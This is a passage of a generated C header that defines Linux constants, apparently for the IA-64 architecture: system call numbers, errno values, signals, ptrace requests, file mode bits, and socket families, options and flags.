52)\n#define __NR_getgroups (1024 + 53)\n#define __NR_setgroups (1024 + 54)\n#define __NR_getpgid (1024 + 55)\n#define __NR_setpgid (1024 + 56)\n#define __NR_setsid (1024 + 57)\n#define __NR_getsid (1024 + 58)\n#define __NR_sethostname (1024 + 59)\n#define __NR_setrlimit (1024 + 60)\n#define __NR_getrlimit (1024 + 61)\n#define __NR_getrusage (1024 + 62)\n#define __NR_gettimeofday (1024 + 63)\n#define __NR_settimeofday (1024 + 64)\n#define __NR_select (1024 + 65)\n#define __NR_poll (1024 + 66)\n#define __NR_symlink (1024 + 67)\n#define __NR_readlink (1024 + 68)\n#define __NR_uselib (1024 + 69)\n#define __NR_swapon (1024 + 70)\n#define __NR_swapoff (1024 + 71)\n#define __NR_reboot (1024 + 72)\n#define __NR_truncate (1024 + 73)\n#define __NR_ftruncate (1024 + 74)\n#define __NR_fchmod (1024 + 75)\n#define __NR_fchown (1024 + 76)\n#define __NR_getpriority (1024 + 77)\n#define __NR_setpriority (1024 + 78)\n#define __NR_statfs (1024 + 79)\n#define __NR_fstatfs (1024 + 80)\n#define __NR_gettid (1024 + 81)\n#define __NR_semget (1024 + 82)\n#define __NR_semop (1024 + 83)\n#define __NR_semctl (1024 + 84)\n#define __NR_msgget (1024 + 85)\n#define __NR_msgsnd (1024 + 86)\n#define __NR_msgrcv (1024 + 87)\n#define __NR_msgctl (1024 + 88)\n#define __NR_shmget (1024 + 89)\n#define __NR_shmat (1024 + 90)\n#define __NR_shmdt (1024 + 91)\n#define __NR_shmctl (1024 + 92)\n#define __NR_syslog (1024 + 93)\n#define __NR_setitimer (1024 + 94)\n#define __NR_getitimer (1024 + 95)\n#define __NR_vhangup (1024 + 99)\n#define __NR_lchown (1024 + 100)\n#define __NR_remap_file_pages (1024 + 101)\n#define __NR_wait4 (1024 + 102)\n#define __NR_sysinfo (1024 + 103)\n#define __NR_clone (1024 + 104)\n#define __NR_setdomainname (1024 + 105)\n#define __NR_uname (1024 + 106)\n#define __NR_adjtimex (1024 + 107)\n#define __NR_init_module (1024 + 109)\n#define __NR_delete_module (1024 + 110)\n#define __NR_quotactl (1024 + 113)\n#define __NR_bdflush (1024 + 114)\n#define __NR_sysfs (1024 + 115)\n#define __NR_personality (1024 + 116)\n#define __NR_afs_syscall (1024 + 117)\n#define __NR_setfsuid (1024 + 118)\n#define __NR_setfsgid (1024 + 119)\n#define __NR_getdents (1024 + 120)\n#define __NR_flock (1024 + 121)\n#define __NR_readv (1024 + 122)\n#define __NR_writev (1024 + 123)\n#define __NR_pread64 (1024 + 124)\n#define __NR_pwrite64 (1024 + 125)\n#define __NR__sysctl (1024 + 126)\n#define __NR_mmap (1024 + 127)\n#define __NR_munmap (1024 + 128)\n#define __NR_mlock (1024 + 129)\n#define __NR_mlockall (1024 + 130)\n#define __NR_mprotect (1024 + 131)\n#define __NR_mremap (1024 + 132)\n#define __NR_msync (1024 + 133)\n#define __NR_munlock (1024 + 134)\n#define __NR_munlockall (1024 + 135)\n#define __NR_sched_getparam (1024 + 136)\n#define __NR_sched_setparam (1024 + 137)\n#define __NR_sched_getscheduler (1024 + 138)\n#define __NR_sched_setscheduler (1024 + 139)\n#define __NR_sched_yield (1024 + 140)\n#define __NR_sched_get_priority_max (1024 + 141)\n#define __NR_sched_get_priority_min (1024 + 142)\n#define __NR_sched_rr_get_interval (1024 + 143)\n#define __NR_nanosleep (1024 + 144)\n#define __NR_nfsservctl (1024 + 145)\n#define __NR_prctl (1024 + 146)\n#define __NR_old_getpagesize (1024 + 147)\n#define __NR_mmap2 (1024 + 148)\n#define __NR_pciconfig_read (1024 + 149)\n#define __NR_pciconfig_write (1024 + 150)\n#define __NR_perfmonctl (1024 + 151)\n#define __NR_sigaltstack (1024 + 152)\n#define __NR_rt_sigaction (1024 + 153)\n#define __NR_rt_sigpending (1024 + 154)\n#define __NR_rt_sigprocmask (1024 + 155)\n#define __NR_rt_sigqueueinfo (1024 + 156)\n#define __NR_rt_sigreturn (1024 + 157)\n#define __NR_rt_sigsuspend (1024 + 158)\n#define __NR_rt_sigtimedwait (1024 + 159)\n#define __NR_getcwd (1024 + 160)\n#define __NR_capget (1024 + 161)\n#define __NR_capset (1024 + 162)\n#define __NR_sendfile (1024 + 163)\n#define __NR_getpmsg (1024 + 164)\n#define __NR_putpmsg (1024 + 165)\n#define __NR_socket (1024 + 166)\n#define __NR_bind (1024 + 167)\n#define __NR_connect (1024 + 168)\n#define __NR_listen (1024 + 169)\n#define __NR_accept (1024 + 170)\n#define __NR_getsockname (1024 + 171)\n#define __NR_getpeername (1024 + 172)\n#define __NR_socketpair (1024 + 173)\n#define __NR_send (1024 + 174)\n#define __NR_sendto (1024 + 175)\n#define __NR_recv (1024 + 176)\n#define __NR_recvfrom (1024 + 177)\n#define __NR_shutdown (1024 + 178)\n#define __NR_setsockopt (1024 + 179)\n#define __NR_getsockopt (1024 + 180)\n#define __NR_sendmsg (1024 + 181)\n#define __NR_recvmsg (1024 + 182)\n#define __NR_pivot_root (1024 + 183)\n#define __NR_mincore (1024 + 184)\n#define __NR_madvise (1024 + 185)\n#define __NR_stat (1024 + 186)\n#define __NR_lstat (1024 + 187)\n#define __NR_fstat (1024 + 188)\n#define __NR_clone2 (1024 + 189)\n#define __NR_getdents64 (1024 + 190)\n#define __NR_getunwind (1024 + 191)\n#define __NR_readahead (1024 + 192)\n#define __NR_setxattr (1024 + 193)\n#define __NR_lsetxattr (1024 + 194)\n#define __NR_fsetxattr (1024 + 195)\n#define __NR_getxattr (1024 + 196)\n#define __NR_lgetxattr (1024 + 197)\n#define __NR_fgetxattr (1024 + 198)\n#define __NR_listxattr (1024 + 199)\n#define __NR_llistxattr (1024 + 200)\n#define __NR_flistxattr (1024 + 201)\n#define __NR_removexattr (1024 + 202)\n#define __NR_lremovexattr (1024 + 203)\n#define __NR_fremovexattr (1024 + 204)\n#define __NR_tkill (1024 + 205)\n#define __NR_futex (1024 + 206)\n#define __NR_sched_setaffinity (1024 + 207)\n#define __NR_sched_getaffinity (1024 + 208)\n#define __NR_set_tid_address (1024 + 209)\n#define __NR_fadvise64 (1024 + 210)\n#define __NR_tgkill (1024 + 211)\n#define __NR_exit_group (1024 + 212)\n#define __NR_lookup_dcookie (1024 + 213)\n#define __NR_io_setup (1024 + 214)\n#define __NR_io_destroy (1024 + 215)\n#define __NR_io_getevents (1024 + 216)\n#define __NR_io_submit (1024 + 217)\n#define __NR_io_cancel (1024 + 218)\n#define __NR_epoll_create (1024 + 219)\n#define __NR_epoll_ctl (1024 + 220)\n#define __NR_epoll_wait (1024 + 221)\n#define __NR_restart_syscall (1024 + 222)\n#define __NR_semtimedop (1024 + 223)\n#define __NR_timer_create (1024 + 224)\n#define __NR_timer_settime (1024 + 225)\n#define __NR_timer_gettime (1024 + 226)\n#define __NR_timer_getoverrun (1024 + 227)\n#define __NR_timer_delete (1024 + 228)\n#define __NR_clock_settime (1024 + 229)\n#define __NR_clock_gettime (1024 + 230)\n#define __NR_clock_getres (1024 + 231)\n#define __NR_clock_nanosleep (1024 + 232)\n#define __NR_fstatfs64 (1024 + 233)\n#define __NR_statfs64 (1024 + 234)\n#define __NR_mbind (1024 + 235)\n#define __NR_get_mempolicy (1024 + 236)\n#define __NR_set_mempolicy (1024 + 237)\n#define __NR_mq_open (1024 + 238)\n#define __NR_mq_unlink (1024 + 239)\n#define __NR_mq_timedsend (1024 + 240)\n#define __NR_mq_timedreceive (1024 + 241)\n#define __NR_mq_notify (1024 + 242)\n#define __NR_mq_getsetattr (1024 + 243)\n#define __NR_kexec_load (1024 + 244)\n#define __NR_vserver (1024 + 245)\n#define __NR_waitid (1024 + 246)\n#define __NR_add_key (1024 + 247)\n#define __NR_request_key (1024 + 248)\n#define __NR_keyctl (1024 + 249)\n#define __NR_ioprio_set (1024 + 250)\n#define __NR_ioprio_get (1024 + 251)\n#define __NR_move_pages (1024 + 252)\n#define __NR_inotify_init (1024 + 253)\n#define __NR_inotify_add_watch (1024 + 254)\n#define __NR_inotify_rm_watch (1024 + 255)\n#define __NR_migrate_pages (1024 + 256)\n#define __NR_openat (1024 + 257)\n#define __NR_mkdirat (1024 + 258)\n#define __NR_mknodat (1024 + 259)\n#define __NR_fchownat (1024 + 260)\n#define __NR_futimesat (1024 + 261)\n#define __NR_newfstatat (1024 + 262)\n#define __NR_unlinkat (1024 + 263)\n#define __NR_renameat (1024 + 264)\n#define __NR_linkat (1024 + 265)\n#define __NR_symlinkat (1024 + 266)\n#define __NR_readlinkat (1024 + 267)\n#define __NR_fchmodat (1024 + 268)\n#define __NR_faccessat (1024 + 269)\n#define __NR_pselect6 (1024 + 270)\n#define __NR_ppoll (1024 + 271)\n#define __NR_unshare (1024 + 272)\n#define __NR_splice (1024 + 273)\n#define __NR_set_robust_list (1024 + 274)\n#define __NR_get_robust_list (1024 + 275)\n#define __NR_sync_file_range (1024 + 276)\n#define __NR_tee (1024 + 277)\n#define __NR_vmsplice (1024 + 278)\n#define __NR_fallocate (1024 + 279)\n#define __NR_getcpu (1024 + 280)\n#define __NR_epoll_pwait (1024 + 281)\n#define __NR_utimensat (1024 + 282)\n#define __NR_signalfd (1024 + 283)\n#define __NR_timerfd (1024 + 284)\n#define __NR_eventfd (1024 + 285)\n#define __NR_timerfd_create (1024 + 286)\n#define __NR_timerfd_settime (1024 + 287)\n#define __NR_timerfd_gettime (1024 + 288)\n#define __NR_signalfd4 (1024 + 289)\n#define __NR_eventfd2 (1024 + 290)\n#define __NR_epoll_create1 (1024 + 291)\n#define __NR_dup3 (1024 + 292)\n#define __NR_pipe2 (1024 + 293)\n#define __NR_inotify_init1 (1024 + 294)\n#define __NR_preadv (1024 + 295)\n#define __NR_pwritev (1024 + 296)\n#define __NR_rt_tgsigqueueinfo (1024 + 297)\n#define __NR_recvmmsg (1024 + 298)\n#define __NR_fanotify_init (1024 + 299)\n#define __NR_fanotify_mark (1024 + 300)\n#define __NR_prlimit64 (1024 + 301)\n#define __NR_name_to_handle_at (1024 + 302)\n#define __NR_open_by_handle_at (1024 + 303)\n#define __NR_clock_adjtime (1024 + 304)\n#define __NR_syncfs (1024 + 305)\n#define __NR_setns (1024 + 306)\n#define __NR_sendmmsg (1024 + 307)\n#define __NR_process_vm_readv (1024 + 308)\n#define __NR_process_vm_writev (1024 + 309)\n#define __NR_accept4 (1024 + 310)\n#define __NR_finit_module (1024 + 311)\n#define __NR_sched_setattr (1024 + 312)\n#define __NR_sched_getattr (1024 + 313)\n#define __NR_renameat2 (1024 + 314)\n#define __NR_getrandom (1024 + 315)\n#define __NR_memfd_create (1024 + 316)\n#define __NR_bpf (1024 + 317)\n#define __NR_execveat (1024 + 318)\n#define __NR_userfaultfd (1024 + 319)\n#define __NR_membarrier (1024 + 320)\n#define __NR_kcmp (1024 + 321)\n#define __NR_mlock2 (1024 + 322)\n#define __NR_copy_file_range (1024 + 323)\n#define __NR_preadv2 (1024 + 324)\n#define __NR_pwritev2 (1024 + 325)\n#define __NR_statx (1024 + 326)\n#define __NR_io_pgetevents (1024 + 327)\n#define __NR_perf_event_open (1024 + 328)\n#define __NR_seccomp (1024 + 329)\n#define __NR_pkey_mprotect (1024 + 330)\n#define __NR_pkey_alloc (1024 + 331)\n#define __NR_pkey_free (1024 + 332)\n#define __NR_rseq (1024 + 333)\n#define __NR_pidfd_send_signal (1024 + 424)\n#define __NR_io_uring_setup (1024 + 425)\n#define __NR_io_uring_enter (1024 + 426)\n#define __NR_io_uring_register (1024 + 427)\n#define __NR_open_tree (1024 + 428)\n#define __NR_move_mount (1024 + 429)\n#define __NR_fsopen (1024 + 430)\n#define __NR_fsconfig (1024 + 431)\n#define __NR_fsmount (1024 + 432)\n#define __NR_fspick (1024 + 433)\n#define __NR_pidfd_open (1024 + 434)\n#define __NR_openat2 (1024 + 437)\n#define __NR_pidfd_getfd (1024 + 438)\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 64\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (9223372036854775807))\n#define INTPTR_MAX (9223372036854775807)\n#define UINTPTR_MAX 0xffffffffffffffff\n#define SIZE_MAX 0xffffffffffffffff\n#define PTRDIFF_MIN (-1 - (9223372036854775807))\n#define PTRDIFF_MAX (9223372036854775807)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (9223372036854775807))\n#define INT_FAST16_MAX (9223372036854775807)\n#define UINT_FAST16_MAX 0xffffffffffffffff\n#define INT_FAST32_MIN (-1 - (9223372036854775807))\n#define INT_FAST32_MAX (9223372036854775807)\n#define UINT_FAST32_MAX 0xffffffffffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGBUS 7\n#define SIGUSR1 10\n#define SIGUSR2 12\n#define SIGSTKFLT 16\n#define SIGCHLD 17\n#define SIGCONT 18\n#define SIGSTOP 19\n#define SIGTSTP 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGURG 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGIO 29\n#define SIGPWR 30\n#define SIGSYS 31\n#define SIGCLD 17\n#define SIGPOLL 29\n#define SIGLOST 30\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 